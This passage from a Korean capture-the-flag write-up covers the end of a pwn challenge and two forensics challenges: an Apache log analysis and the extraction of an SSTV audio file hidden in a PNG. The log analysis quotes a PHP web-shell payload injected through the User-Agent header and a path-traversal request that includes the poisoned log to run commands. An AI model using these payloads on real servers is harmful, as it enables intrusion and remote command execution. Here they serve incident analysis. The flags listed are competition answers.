YISF{5imp13_sp_is_v33eEEry_eAsy,_r1gh7?}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$                                                                                                              [*] Got EOF while reading in interactive
$
```

**FLAG : YISF{5imp13_sp_is_v33eEEry_eAsy,_r1gh7?}**

<br>

## Forensics

### SF Server Analysis

`125.138.133.213` 아이피의 로그가 상당히 많아 수상해 보여서 이 아이피를 추적하였다

<br>

**시작**

아래 로그를 보면 Nikto 스캔을 시작한 것을 확인할 수 있다.

`125.138.133.213 - - [25/Jul/2025:13:58:07 +0000] "HEAD / HTTP/1.1" 200 359 "-" "Mozilla/5.00 (Nikto/2.1.5) (Evasions:None) (Test:Port Check)"`

<br>

**공격**

다음으로 User-Agent에 `<?php system($_GET['cmd']); ?>`을 주입하는 것을 보고 공격자임을 확신할 수 있었다.

`125.138.133.213 - - [25/Jul/2025:14:04:23 +0000] "GET /view.php HTTP/1.1" 200 147 "-" "<?php system($_GET['cmd']); ?>"`

<br>

**성공**

공격을 한 뒤 요청이 200으로 응답하여 RCE 공격에 성공했다는 것을 확인할 수 있었다.

`125.138.133.213 - - [25/Jul/2025:14:04:51 +0000] "GET /view.php?file=../../../../../var/log/apache2/home_shopping_access.log&cmd=id HTTP/1.1" 200 315 "-" "curl/8.5.0"`

<br>

**FLAG : YISF{125.138.133.213_2025/07/25_22:58:07_2025/07/25_23:04:51}**

<br>

### SStegano TV

FTK imager를 사용해 Export 하였고 아래와 같은 폴더들이 있었다.

![image](https://hackmd.io/_uploads/H12CiK8Olg.png)

<br>

`\Users\spy1818\Documents` 경로에 `suspicious_mail.eml`라는 파일이 있어 확인해보니, 이메일 내용이 base64로 인코딩된 `logo_v2.png`과 `logo_v3.png` 파일이었다.

![image](https://hackmd.io/_uploads/HJ4v3tLOll.png)

<br>

디코딩해서 확인해보니 `logo_v3.png`에서 아래 이미지가 나왔다.

![logo_v2](https://hackmd.io/_uploads/rk5Dg5L_xg.png)

<br>

문제 이름이 `SSTV`라서 `wav` 파일이 있을 것을 예상하고 `RIFF` 시그니쳐를 검색해보았는데 있었다.

```
t43w00@DESKTOP-PO6TNV7:~/SStegano-TV$ grep -aob "RIFF" logo_v3.png
48256:RIFF
```

<br>

이를 추출해서 github에 있는 `SSTV Decoder`에 돌렸더니 플래그가 나왔다

![res](https://hackmd.io/_uploads/Sy6kt9UOxx.png)

**FLAG : YISF{S0_3zyyy_St3eg_SSTV}**
